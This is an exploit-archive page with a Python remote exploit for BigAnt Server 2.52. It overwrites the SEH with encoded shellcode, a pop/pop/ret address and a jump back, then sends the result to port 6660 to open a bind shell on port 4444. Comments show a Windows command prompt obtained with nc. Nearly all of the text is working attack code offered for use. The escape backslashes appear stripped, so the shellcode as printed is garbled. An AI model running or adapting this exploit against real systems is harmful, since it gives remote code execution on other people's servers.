[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : BigAnt Server 2.52 SEH (0day)
# Published : 2009-12-29
# Author : Lincoln
# Previous Title : NetTransport Download Manager version:2.90.510 0day
# Next Title : HP Application Recovery Manager (OmniInet.exe) Buffer Overflow
#!/usr/bin/python
import socket, sys
#########################
#BigAnt version 2.52 0day
#Tested on XPSP2 & Win2k3 SP2
#Discovered by Lincoln
#Thanks to muts & remote-exploit
#
#650 or so bytes available after seh, easier to jump back
#
#root@BT4VM:~# ./bigant.py 192.168.87.130
#Exploit sent! Connect to remote host on port 4444
#
#root@BT4VM:~# nc -vn 192.168.87.130 4444
#(UNKNOWN) [192.168.87.130] 4444 (?) open
#Microsoft Windows XP [Version 5.1.2600]
#(C) Copyright 1985-2001 Microsoft Corp.
#
#C:WINDOWSsystem32>
#########################
#[*] Using Msf::Encoder::PexAlphaNum with final size of 709 bytes
sc = ("xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx46x4bx4e"
"x4dx54x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x46x4bx48"
"x4ex46x46x32x46x42x4bx58x45x34x4ex43x4bx38x4ex37"
"x45x50x4ax37x41x30x4fx4ex4bx58x4fx34x4ax31x4bx48"
"x4fx35x42x52x41x50x4bx4ex49x34x4bx38x46x53x4bx38"
"x41x30x50x4ex41x53x42x4cx49x39x4ex4ax46x38x42x4c"
"x46x37x47x50x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"
"x46x4fx4bx33x46x35x46x42x4ax42x45x37x45x4ex4bx58"
"x4fx45x46x32x41x50x4bx4ex48x56x4bx58x4ex30x4bx54"
"x4bx58x4fx35x4ex51x41x30x4bx4ex43x50x4ex52x4bx38"
"x49x58x4ex56x46x42x4ex41x41x46x43x4cx41x33x4bx4d"
"x46x56x4bx38x43x44x42x33x4bx48x42x54x4ex30x4bx48"
"x42x57x4ex31x4dx4ax4bx38x42x34x4ax30x50x35x4ax36"
"x50x48x50x44x50x50x4ex4ex42x55x4fx4fx48x4dx48x56"
"x43x55x48x46x4ax46x43x53x44x43x4ax36x47x37x43x47"
"x44x33x4fx35x46x35x4fx4fx42x4dx4ax36x4bx4cx4dx4e"
"x4ex4fx4bx53x42x55x4fx4fx48x4dx4fx55x49x48x45x4e"
"x48x56x41x58x4dx4ex4ax50x44x50x45x35x4cx46x44x30"
"x4fx4fx42x4dx4ax46x49x4dx49x30x45x4fx4dx4ax47x45"
"x4fx4fx48x4dx43x35x43x45x43x35x43x55x43x55x43x34"
"x43x45x43x34x43x55x4fx4fx42x4dx48x56x4ax46x41x41"
"x4ex45x48x36x43x55x49x38x41x4ex45x59x4ax46x46x4a"
"x4cx41x42x57x47x4cx47x35x4fx4fx48x4dx4cx56x42x41"
"x41x55x45x55x4fx4fx42x4dx4ax46x46x4ax4dx4ax50x52"
"x49x4ex47x45x4fx4fx48x4dx43x35x45x45x4fx4fx42x4d"
"x4ax36x45x4ex49x44x48x48x49x44x47x45x4fx4fx48x4d"
"x42x35x46x35x46x45x45x45x4fx4fx42x4dx43x59x4ax56"
"x47x4ex49x37x48x4cx49x37x47x45x4fx4fx48x4dx45x35"
"x4fx4fx42x4dx48x56x4cx56x46x36x48x36x4ax36x43x56"
"x4dx56x49x58x45x4ex4cx36x42x35x49x45x49x52x4ex4c"
"x49x58x47x4ex4cx36x46x34x49x38x44x4ex41x43x42x4c"
"x43x4fx4cx4ax50x4fx44x34x4dx52x50x4fx44x54x4ex32"
"x43x49x4dx58x4cx57x4ax43x4bx4ax4bx4ax4bx4ax4ax46"
"x44x47x50x4fx43x4bx48x31x4fx4fx45x57x46x44x4fx4f"
"x48x4dx4bx55x47x45x44x45x41x45x41x35x41x55x4cx36"
"x41x30x41x45x41x45x45x35x41x35x4fx4fx42x4dx4ax46"
"x4dx4ax49x4dx45x50x50x4cx43x45x4fx4fx48x4dx4cx46"
"x4fx4fx4fx4fx47x53x4fx4fx42x4dx4bx38x47x55x4ex4f"
"x43x48x46x4cx46x46x4fx4fx48x4dx44x55x4fx4fx42x4d"
"x4ax46x42x4fx4cx58x46x50x4fx45x43x55x4fx4fx48x4d"
"x4fx4fx42x4dx5a")
host = sys.argv[1]
# p/p/r from vbajet32.dll
buffer = "x90" * 218 + sc + "x90" * 35 + "xebx06x90x90" + "x95x32x9ax0f"
buffer += "x90" * 10 + "xe9x7cxfcxffxff" + "x90" * 650
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 6660)) #hardcoded default port
s.send("USV " + buffer + "rnrn")
print "Exploit sent! Connect to remote host on port 4444n"
s.close()